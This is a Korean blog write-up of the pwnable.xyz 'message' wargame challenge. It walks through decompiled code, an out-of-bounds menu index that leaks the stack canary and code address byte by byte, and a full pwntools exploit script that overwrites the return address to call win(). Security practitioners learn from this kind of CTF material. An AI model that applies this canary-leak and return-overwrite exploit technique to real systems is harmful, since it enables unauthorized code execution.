블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] message
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] message

728x90

 

1. 문제


1) mitigation 확인 

전부다 초록색이다. 와우 

 

 

2) 문제 확인 

메시지를 처음에 입력한다. 그리고 1번 메뉴로 입력한 메시지를 수정할 수 있고, 2번으로 출력할 수 있다. 3번은 뭔지 아직은 모르겠다 

 

 

3) 코드 확인 

  1. main()
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v3; // eax
      char v5; // [rsp+10h] [rbp-30h]
      unsigned __int64 v6; // [rsp+38h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      setup();
      puts("Message taker.");
      printf("Message: ", argv);
      _isoc99_scanf("%s", &v5);
      getchar();
      while ( 1 )
      {
        while ( 1 )
        {
          print_menu();
          printf("> ");
          v3 = get_choice();
          if ( v3 != 1 )
            break;
          printf("Message: ");
          _isoc99_scanf("%s", &v5);
          getchar();
        }
        if ( v3 <= 1 )
          break;
        if ( v3 == 2 )
        {
          printf("Your message: %s\n", &v5);
        }
        else if ( v3 == 3 )
        {
          if ( admin )
            win();
        }
        else
        {
    LABEL_14:
          printf("Error: %d is not a valid option\n", (unsigned int)v3);
        }
      }
      if ( v3 )
        goto LABEL_14;
      return 0;
    }
    • 초기에 v5 변수에 scanf로 입력을 받는다. 여기서 bof가 터질수 있다
    • get_choice(); 함수를 호출하여 메뉴에 해당하는 동작을 진행한다
    • 1번은 edit으로 다시 v5 변수에 입력을 받는다. 이 역시 bof가 터진다
    • 2번은 그냥 출력이다
    • 3번은 admin 이란 bss 영역에 존재하는 변수 값이 NULL이 아니면, win함수가 호출된다. 여기가 포인트인것 같다

     

     

  1. get_choice() 함수
    __int64 get_choice()
    {
      char v1; // [rsp+Dh] [rbp-13h]
      char v2; // [rsp+Eh] [rbp-12h]
      char v3; // [rsp+Fh] [rbp-11h]
      char v4; // [rsp+10h] [rbp-10h]
      char v5; // [rsp+11h] [rbp-Fh]
      char v6; // [rsp+12h] [rbp-Eh]
      char v7; // [rsp+13h] [rbp-Dh]
      char v8; // [rsp+14h] [rbp-Ch]
      char v9; // [rsp+15h] [rbp-Bh]
      char v10; // [rsp+16h] [rbp-Ah]
      char v11; // [rsp+17h] [rbp-9h]
      unsigned __int64 v12; // [rsp+18h] [rbp-8h]
    
      v12 = __readfsqword(0x28u);
      v2 = 0;
      v3 = 1;
      v4 = 2;
      v5 = 3;
      v6 = 4;
      v7 = 5;
      v8 = 6;
      v9 = 7;
      v10 = 8;
      v11 = 9;
      v1 = getchar();
      getchar();
      return (unsigned __int8)*(&v2 + v1 - 0x30);
    }
    • getchar() 로 문자 하나를 v1에 입력받는다.
    • getchar를 한번더 호출하여 입력버퍼를 비운다
    • v2 ⇒ rbp-0x12 이므로 rbp - 0x12 - 0x30 + 입력한 값 요렇게 계산된 값이 return 된다
    • 해당 리턴값이 1,2,3 이아닌 경우 메인에서 올바르지 못한 선택이라고 출력하고 다시 반복문을 돌지만, 0을 리턴할 경우, 메인은 종료가 된다

 

 

2. 접근방법


우리에게 주어진것은 scanf를 이용한 bof가 끝이다. 현재 모든 미티게이션이 다 걸려있기 때문에 잘생각을 해봐야한다. 처음에 카나리 값을 출력시켜 rbp 값을 bss 영역으로 변경하여 scanf 입력시 admin 변수에 값이 들어가게 하려고 했다. 

 

하지만 scanf 입력시 끝에 널바이트가 추가적으로 들어가서 카나리 릭은 불가능 했다. 여러 삽질 끝에 알아낸 결론은, get_choice 함수에서 올바르지 않은 값을 선택하면 메인에서  

Error: 8 is not a valid option

 

요렇게 입력한 값을 출력시켜준다. 요 값은 아까 위에서 rbp - 0x12 - 0x30 + 입력한 값 이 연산된 값(주소) 에 들어있는 값 중 하위 한바이트인데, rbp를 기준으로 잘 오프셋을 조지면 rbp 근처에 들어있는 값들은 한바이트씩 다 leak 할 수 있다. 

 

따라서 최종 시나리오는 다음과 같다 

  1. 카나리 한바이트 씩 leak해서 전체 카나리 얻기
  1. code_base 주소도 같은 방법으로 얻기
  1. 1번 edit함수를 이용하여 RTL 구성 ( 더미 + 카나리 + 더미(rbp위치)+ win주소 )
  1. get_choice 함수에서 카나리 마지막 하위 한바이트인 0을 return하게 함
  1. 메뉴에서 0이면 return 되기 때문에 이때 ret에 win주소가 있으므로 win 함수 실행됨.

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
#context(arch="amd64",os="linux",log_level="DEBUG")
p=remote("svc.pwnable.xyz",30017)
#p=process("./challenge")
#gdb.attach(p)
#pause()
real_canary='0x'
code_addr='0x000000'

p.recvuntil("Message: ")
p.sendline("A")


def choice(ch):
	p.sendlineafter("> ",ch)

def print_():
	p.sendlineafter("> ","2")

def canary_leak(asci):
	global real_canary
	p.sendlineafter("> ",asci)
	p.recvuntil("Error: ")
	tmp=p.recvuntil(" ")
	canary=hex(int(tmp[:-1]))[2:]
	canary=canary.ljust(2,'0')
	real_canary+=canary

def code_leak(asci):
	global code_addr
	p.sendlineafter("> ",asci)
        p.recvuntil("Error: ")
        tmp=p.recvuntil(" ")
        tmp2=hex(int(tmp[:-1]))[2:]
        tmp2=tmp2.ljust(2,'0')
	code_addr+=tmp2

real_canary='0x'

canary_leak("A")
canary_leak("@")
canary_leak("?")
canary_leak(">")
canary_leak("=")
canary_leak("<")
canary_leak(";")

real_canary+='00'

log.info("real_canary::"+real_canary)

code_addr='0x'

code_leak("O")
code_leak("N")
code_leak("M")
code_leak("L")
code_leak("K")
code_leak("J")


log.info("code_addr::"+code_addr)
code=int(code_addr,16)
log.info("sdfsdfdsfds::"+hex(code))
code_base=code-0xb30
log.info(hex(code_base))

p.sendlineafter("> ","1")
#payload="A"*0x28+p64(real_canary)+p64(code_base+0x2021E4-0x30)+p64(code_base+0xbc3)
payload="A"*0x28+p64(int(real_canary,16))+"A"*8+p64(code_base+0xAAC)
p.sendlineafter("Message: ",payload)
#gdb.attach(p)
pause()
p.sendlineafter("> ",":")


p.interactive()

 

 

4. 몰랐던 개념


  • 카나리는 프로세스에서 동일함
  • main 함수의 카나리 값과, get_choice() 함수에서의 카나리값이 동일함

 

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] attack  (0) 2020.05.07
[pwnable.xyz] rwsr  (0) 2020.05.06
[pwnable.xyz] UAF  (0) 2020.05.04
[pwnable.xyz] fclose  (0) 2020.05.01
[pwnable.xyz] TLSv00  (0) 2020.04.11